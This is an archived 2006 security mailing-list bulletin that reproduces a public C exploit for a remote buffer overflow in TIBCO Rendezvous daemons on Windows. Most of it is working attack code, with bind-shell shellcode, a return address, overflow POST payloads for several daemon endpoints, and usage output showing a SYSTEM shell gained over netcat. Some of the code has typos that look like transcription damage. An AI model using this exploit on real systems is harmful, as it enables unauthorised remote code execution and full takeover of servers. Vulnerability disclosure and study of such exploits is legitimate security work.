

[EXPL] TIBCO RendezVous Buffer Overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-09/msg00000.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 4 Sep 2006 14:06:25 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

TIBCO RendezVous Buffer Overflow (Exploit)

SUMMARY

<<http://www.tibco.com/software/messaging/rendezvous.jsp>> TIBCO Rendezvous is a software product that provides a message bus for enterprise application integration (EAI).

Vulnerabilities in RendezVous allow arbitrary code execution by a malicious remote attacker.

DETAILS

Vulnerable Systems:

* Tibco Rendezvous versions 7.4.11 and prior.

Exploit:

/*

Exploit: TIBCO RendezVous remote buffer overflow exploit for Win32 (public version)

Affected products: Tibco RendezOVous version <=7.4.11 (Multiple Vulnerabilities)

Author: Andres Tarasco Acu a (atarasco @ sia.es)

[EXPL] TIBCO RendezVous Buffer Overflow (Exploit)

Advisory: <http://www.514.es>

Url: <http://www.sia.es>

Greetings: I aki Lopez and SIA TigerTeam

Status: vulnerability fixed (Vendor notification + fixes)

Timeline:

Discovered: March 23, 2006

Exploit coded: March 24, 2006

Vendor Notified: March 27, 2006

Vendor patch: May 15, 2006 – Tibco Rendezvous version 7.5

Public Disclosure: who knows

Affected daemons:

– TIB/Rendezvous Routing Communications Daemon (add router buffer overflow) (port 7580)

+ POST /add_router HTTP/1.0

+ router_name=AAAA..AAA&type=+Add+Router+

– TIB/Rendezvous Secure Daemon (port 7580)

+ POST /sd_add_network_service HTTP/1.0

+ network=AAAA..AAAA&service=&type=Add

– TIB/Rendezvous Secure Daemon (port 7580)

+ certificate_from_file() lets remote user verify if remote file exists

– TIB/Rendezvous Secure Daemon (port 7580)

+ Authorized Subjects XSS vulnerability

– TIB/Rendezvous Secure Routing Daemon (add router buffer overflow) (port 7580)

+ POST /add_router HTTP/1.0

+ router_name=AAAA..AAA&type=+Add+Router+

– TIB/Rendezvous Agent for Java (TIB/Rendezvous Daemon Connection Buffer overflow) (port 7581)

+ POST /set_main HTTP/1.0

+

edit_listen=7600&edit_service=AAAA..AAAA&edit_network=&edit_daemon=&submit=Submit

– TIB/Rendezvous Initial Value Cache (port 7581)

+ POST /change_services HTTP/1.0

+ Service=&Network=&Daemon=AAA&request_type=Submit

Affected Operating systems:

– AIX 5.1 and up RS/6000

– FreeBSD 4.2 and up x86

– HP/UX 11.X HPPA

[EXPL] TIBCO RendezVous Buffer Overflow (Exploit)

- HP/UX 11.22 and up IA-64/Itanium
- Linux 2.4 kernel: 2.4.20 and up, glibc2.2.4 and up x86
- Linux 2.4 kernel: 2.4.20 and up, glibc2.3 and up (includes 2.6 kernel) x86
- Linux 2.4 kernel: 2.4.18 and up, glibc2.3 and up IA-64/Itanium
- OS/390 V2R6+ USS S/390 compatible OEM hardware
- OS/400 V4R3+ AS/400
- Solaris 2.7 and up Sparc
- Solaris 2.7, 8, 9 (32-bit only) x86
- Solaris 2.10 (32- and 64-bit only) x86
- Tru64 Unix 5.1b Alpha
- UnixWare 7.1 and up x86
- VMS 7.2 and up
- Alpha
- Windows 2000/XP/2003 Server [MSVC V6.0 and V7.0] x86

Usage:

```
D:\Programaci n\tibco>net start rvrdr
El servicio de TIB/Rendezvous Routing Communications Daemon est inici
ndose.
El servicio de TIB/Rendezvous Routing Communications Daemon se ha iniciado
con xito.
```

```
D:\Programaci n\tibco>whoami
REDBULL\atarasco
```

```
D:\Programaci n\tibco>tibco.exe -e 192.168.0.1
Tibco RendezVous rvrdr, rvsrd remote exploit
Author: Andres Tarasco ( atarasco @ sia.es)
Url: http://www.514.es
```

```
[+] Connection to Tibco HTTP Daemon..
[+] Daemon Found: rvrdr - version: 7.4.11
[+] Connecting to Tibco SSL Service at port 9003
[+] Sending Exploit ( 546 bytes)
[+] Ignoring unknown CA...
[+] Sending Exploit ( 546 bytes)
[+] Exploit succesfully sent. Now telnet to port 51477
```

```
D:\Programaci n\tibco>nc localhost 51477
Microsoft Windows XP [Versi n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
```

```
C:\>whoami
whoami
NT AUTHORITY\SYSTEM
```

```
C:\>
```

[EXPL] TIBCO RendezVous Buffer Overflow (Exploit)

```
*/

struct _targets {
char *daemon;
char *name;
char *version;
char *target;
char *header;
char *tail;
} TARGETS[] = { //supported versions
{ "rvrd", "Routing Communications Daemon", "Generic
win32", "/add_router", "router_name=", "&type=+Add+Router+" },
{ "rvsrd", "Routing Communications Daemon", "Generic
win32", "/add_router", "router_name=", "&type=+Add+Router+" },
{ "rvsd", "Secure Daemon", "Generic
win32", "/sd_add_network_service", "network=", "&service=&type=" },
{ "rva", "Agent for Java", "Generic
win32", "/set_main", "edit_listen=7600&edit_service=", "&edit_network=&edit_daemon=&submit=Submit" },
{ "rvcache", "Initial Value Cache", "Generic
win32", "/change_services", "Service=&Network=&Daemon=", "&request_type=Submit" },
/* more versions here.... */
};

#include <stdio.h>
#include <tchar.h>
#include <winsock2.h>
#include <windows.h>
#include <Wininet.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "wininet.lib")

unsigned char CALLESP[] = "\xed\x1e\x95\x7c"; //JMP ESP at ntdll.dll

typedef struct _HTTPData {
unsigned char *buffer;
DWORD dwReturnCode;
DWORD dwBytesRead;
unsigned int DataOffset;
} HTTPData, *PHTTPData;

unsigned char jmpBack []= //JMP EBP -500 without nulls
"\x81\xec\xff\xff\xf4\x01"
"\x81\xc4\x0b\xfe\xf4\x01"
"\xff\xe4";

unsigned char shellcode[] =
/* win32_bind - EXITFUNC=seh LPORT=51477 Size=346 Encoder=PexFnstenvSub
http://metasploit.com */
```

[EXPL] TIBCO RendezVous Buffer Overflow (Exploit)

```
//Restricted chars: 0x00 0x06 0x07 0x08 0x0a 0x0d 0x20 0x22 0x28 0x29 0x30
0x5c 0xcd 0xf2
"\x33\xc9\x66\x81\xe9\xb0\xff\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73"
"\x13\x90\x90\x47\x87\x83\xeb\xfc\xe2\xf4\x6c\xfa\xac\xca\x78\x69"
"\xb8\x78\x6f\xf0\xcc\xeb\xb4\xb4\xcc\xc2\xac\x1b\x3b\x82\xe8\x91"
"\xa8\x0c\xdf\x88\xcc\xd8\xb0\x91\xac\xce\x1b\xa4\xcc\x86\x7e\xa1"
"\x87\x1e\x3c\x14\x87\xf3\x97\x51\x8d\x8a\x91\x52\xac\x73\xab\xc4"
"\x63\xaf\xe5\x75\xcc\xd8\xb4\x91\xac\xe1\x1b\x9c\x0c\x0c\xcf\x8c"
"\x46\x6c\x93\xbc\xcc\x0e\xfc\xb4\x5b\xe6\x53\xa1\x9c\xe3\x1b\xd3"
"\x77\x0c\xd0\x9c\xcc\xf7\x8c\x3d\xcc\xc7\x98\xce\x2f\x09\xde\x9e"
"\xab\xd7\x6f\x46\x21\xd4\xf6\xf8\x74\xb5\xf8\xe7\x34\xb5\xcf\xc4"
"\xb8\x57\xf8\x5b\xaa\x7b\xab\xc0\xb8\x51\xcf\x19\xa2\xe1\x11\x7d"
"\x4f\x85\xc5\xfa\x45\x78\x40\xf8\x9e\x8e\x65\x3d\x10\x78\x46\xc3"
"\x14\xd4\xc3\xc3\x04\xd4\xd3\xc3\xb8\x57\xf6\xf8\x8e\x92\xf6\xc3"
"\xce\x66\x05\xf8\xe3\x9d\xe0\x57\x10\x78\x46\xfa\x57\xd6\xc5\x6f"
"\x97\xef\x34\x3d\x69\x6e\xc7\x6f\x91\xd4\xc5\x6f\x97\xef\x75\xd9"
"\xc1\xce\xc7\x6f\x91\xd7\xc4\xc4\x12\x78\x40\x03\x2f\x60\xe9\x56"
"\x3e\xd0\x6f\x46\x12\x78\x40\xf6\x2d\xe3\xf6\xf8\x24\xea\x19\x75"
"\x2d\xd7\xc9\xb9\x8b\x0e\x77\xfa\x03\x0e\x72\xa1\x87\x74\x3a\x6e"
"\x05\xaa\x6e\xd2\x6b\x14\x1d\xea\x7f\x2c\x3b\x3b\x2f\xf5\x6e\x23"
"\x51\x78\xe5\xd4\xb8\x51\xcb\xc7\x15\xd6\xc1\xc1\x2d\x86\xc1\xc1"
"\x12\xd6\x6f\x40\x2f\x2a\x49\x95\x89\xd4\x6f\x46\x2d\x78\x6f\xa7"
"\xb8\x57\x1b\xc7\xbb\x04\x54\xf4\xb8\x51\xc2\x6f\x97\xef\x60\x1a"
"\x43\xd8\xc3\x6f\x91\x78\x40\x90\x47\x87";
```

```
PHTTPData MakeHTTPRequest(char *host, DWORD port, char *metod, char
*Url, int ssl, char *buffer);
int GetSSLPort(char *buffer);
void DumpMem(void* string, int length);
/*****/
int GetSSLPort(char *buffer) {
char *p,*q;
p=strstr(buffer, "https://");
if (p) {
q=strchr(&p[8], ':');
if (q) {
p=strchr(q, '/');
if (p) {
p[0]='\0':return(atoi(q+1));
}
}
}
return(-1);
}
/*****/
int GetTibcoDaemon(char *buffer, char *daemon) {
char *p;
char *q;
char name[15];
int i;
```

[EXPL] TIBCO RendezVous Buffer Overflow (Exploit)

```
static char SEPARADOR[]="color=\">#242424\>"; // "242424":

p=strstr(buffer,SEPARADOR);
if (p) {
p=p+strlen(SEPARADOR)+1;
while(p[0]!=' ') p++;
q=strchr(&p[0], '<');
if (q) {
q[0]='\0';
printf("[+] Daemon Found: %s - ",p);
strncpy(name,p,14);
q=q+6;
while(q[0]!=' ') q++;
p=strchr(&q[0], '<');
if (p) {
p[0]='\0';
printf("version: %s\n",q);
}
for(i=0;i<sizeof(TARGETS)/sizeof(struct targets);i++) {
if (strcmp(TARGETS[i].daemon.name)==0) {
return(i);
}
}
}
}
return(-1);
}

/*****/
PHTTPData MakeHTTPRequest(char *host, DWORD port, char *metod, char
*Url, int ssl, char *buffer) {
//better than playing with sockets ^^
HINTERNET hInternetSession, hConnect, hRequest;
static TCHAR hdrs[] = "Content-Type:
application/x-www-form-urlencoded";
int ret;
PHTTPData resultado;
char bufQuery[32];
DWORD dwBuffLen, dwFlags;
BOOL bQuery, bRead;
DWORD dwHTTPCode, dwIndex, dwFileSize, dwReadedBytes, dwLengthBufQuery =
sizeof(bufQuery);
//PSTR pszUser = "Administrator";
//PSTR pszPass = "test";

resultado=malloc(sizeof(HTTPData));
memset(resultado,0,sizeof(HTTPData));

if ((hInternetSession = InternetOpen ("TigerTeam
514",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0)) == NULL) {
```

[EXPL] TIBCO RendezVous Buffer Overflow (Exploit)

```
return (resultado);
}
hConnect =
InternetConnect(hInternetSession,host,port,NULL,NULL,INTERNET_SERVICE_HTTP,0,1);
if (!ssl) {
hRequest = HttpOpenRequest(hConnect,
metod,Url,NULL,NULL,NULL,INTERNET_FLAG_RELOAD,0);
} else {
hRequest = HttpOpenRequest(hConnect,
metod,Url,NULL,NULL,
INTERNET_FLAG_IGNORE_CERT_CN_INVALID|INTERNET_FLAG_SECURE|
INTERNET_FLAG_IGNORE_CERT_DATE_INVALID,0);
}

if (hRequest==NULL) {
printf("error chungo en HttpOpenRequest\n");
return(resultado);
}

if (buffer==NULL) {
ret = HttpSendRequest(hRequest,hdrs,strlen(hdrs),NULL,0);
} else {
printf("[+] Sending Exploit ( %i bytes)\n",strlen(buffer));
ret =
HttpSendRequest(hRequest,hdrs,strlen(hdrs),buffer,strlen(buffer));

if ((!ret) && (ssl) ){
dwBuffLen = sizeof(dwFlags);
printf("[+] Ignoring unknown CA...\n");
InternetQueryOption (hRequest, INTERNET_OPTION_SECURITY_FLAGS,
(LPVOID)&dwFlags, &dwBuffLen);
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
InternetSetOption (hRequest, INTERNET_OPTION_SECURITY_FLAGS,
&dwFlags, sizeof (dwFlags) );
/*
//authentication support here.
//If you need user & password try
//a) bruteforce
//b) sniffer
//c) local privilege scalation with TibcoPasswordExtractor.c

InternetSetOption(hRequest, INTERNET_OPTION_USERNAME,
pszUser, tcslen(pszUser) + 1);
InternetSetOption(hRequest, INTERNET_OPTION_PASSWORD,
pszPass, tcslen(pszPass) + 1);
*/
printf("[+] Sending Exploit ( %i bytes)\n",strlen(buffer));
ret =
HttpSendRequest(hRequest,hdrs,strlen(hdrs),buffer,strlen(buffer));
}
```

[EXPL] TIBCO RendezVous Buffer Overflow (Exploit)

```
if (!ret) {
printf("Se ha enviado mal la peticion HTTP:
%i\n", GetLastError());
return(resultado);
}
}
bQuery=
HttpQueryInfo(hRequest, HTTP_QUERY_STATUS_CODE, bufQuery, &dwLengthBufQuery, NULL);
if (!bQuery) {
printf("Control de Errores – bQuery Vale NULL\n");
return(resultado);
}
resultado->dwReturnCode = (DWORD)atol(bufQuery);
// printf("HEADER RESPONSE: %i\n", resultado->dwReturnCode);

dwLengthBufQuery=sizeof(bufQuery);
bQuery= HttpQueryInfo(hRequest, //petici n de tama o de la petici
n.
HTTP_QUERY_CONTENT_LENGTH,
bufQuery,
&dwLengthBufQuery,
NULL);
dwFileSize = (DWORD)atol(bufQuery);
// printf("Vamos a leer %i bytes de datos\n", dwFileSize);
resultado->dwBytesRead=dwFileSize;
if (dwFileSize==0) {
resultado->buffer=NULL;
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternetSession);
return(resultado);
}
resultado->buffer= malloc(dwFileSize+1);
bRead = InternetReadFile(hRequest,
resultado->buffer,
dwFileSize,
&dwReadedBytes);
resultado->buffer[resultado->dwBytesRead] = '\0';

InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternetSession);
return(resultado);
}
/*****
void usage(void) {
printf("Tibco.exe usage: -e parameters\n\n");
printf("Tibco.exe -e host (buffer overflow)\n");
exit(1);
}

```

[EXPL] TIBCO RendezVous Buffer Overflow (Exploit)

```
/*
*****
*/

int main(int argc, char* argv[])
{

DWORD size,i,read,port=7580;
unsigned char *buffer,datos[5000];
HANDLE f;
WSADATA wsaData;
HTTPData *resultado;
unsigned short bindport;
signed int test;
int dst;
int t[0xff+1];

printf("Tibco RendezVous rvrd, rvsrd remote exploit\n");
printf("Author: Andres Tarasco ( atarasco @ sia.es)\n");
printf("Url: http://www.514.es\n\n");

if (argc==3) {
if (argv[1][0]!='-') {
if (argv[1][1]!='e') {
usage();
}
}
} else {
usage();
}

WSAStartup(MAKEWORD(2, 2), &wsaData);
printf("[+] Connection to Tibco HTTP Daemon..\n");

resultado= MakeHttpRequest(argv[2], port, "GET", "/", 0, NULL);
if (resultado->dwReturnCode!=200) {
printf("[+] Request Error (ErrorCode: %i)\n",resultado->dwReturnCode);
exit(1);
}
dst=GetTibcoDaemon(resultado->buffer,NULL); //Get Version
//m/"#242424">(.*?)<br>.*?(.*?)<br>/
if (dst==-1) {
printf("[+] Unknown Tibco Daemon (No donut for you)\n");
exit(1);
}

//BLINK! BLINK! BLINK!

resultado= MakeHttpRequest(argv[2], port, "GET", "/daemon_parameters",0,
NULL);
port=GetSSLPort(resultado->buffer);
if (!port) {
```

[EXPL] TIBCO RendezVous Buffer Overflow (Exploit)

```
printf("[ - ] Unable to gather SSL port\n");
exit(1);
}
printf("[ + ] Connecting to Tibco SSL Service at port %i\n",port);
if ((dst==0) || (dst==1) ) {
memset(datos,'\0',sizeof(datos)-1);

memcpy(datos,TARGETS[dst].header,strlen(TARGETS[dst].header));
memset(&datos[12],'A',498);
memcpy(&datos[16],shellcode,sizeof(shellcode)-1);
memcpy(&datos[12+498],CALLESF,4);
// memcpy(&datos[12+498],"AAAA",4);
memcpy(&datos[12+498+4],jmpBack,sizeof(jmpBack)); //Jump back ( EBP
-500)

memcpy(&datos[12+498+4+sizeof(jmpBack)-1],TARGETS[dst].tail,strlen(TARGETS[dst].tail));
}
// DumpMem(datos,strlen(datos));

resultado= MakeHTTPRequest(argv[2], port, "POST","/add router",1, datos);
if (resultado->dwReturnCode==200) {
printf("[ + ] Exploit succesfully sent. Now telnet to port 51477\n");
//printf("resultado: %i\n",resultado->dwReturnCode);
//printf("resultado: %i\n",resultado->dwBytesRead);
//printf("datos: %s\n",resultado->buffer);
//DumpMem(resultado->buffer+300,strlen(resultado->buffer)-300);

} else {
printf("[ - ] Exploit Failed\n");
printf("resultado: %i\n",resultado->dwReturnCode);
//printf("resultado: %i\n",resultado->dwBytesRead);
//printf("datos: %s\n",resultado->buffer);
}
return(1);
}
//-----
```

ADDITIONAL INFORMATION

The original article can be found at:
<http://www.514.es/download/tibco_POC.c>
http://www.514.es/download/tibco_POC.c

=====

This bulletin is sent to members of the SecuriTeam mailing list.

[EXPL] TIBCO RendezVous Buffer Overflow (Exploit)

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.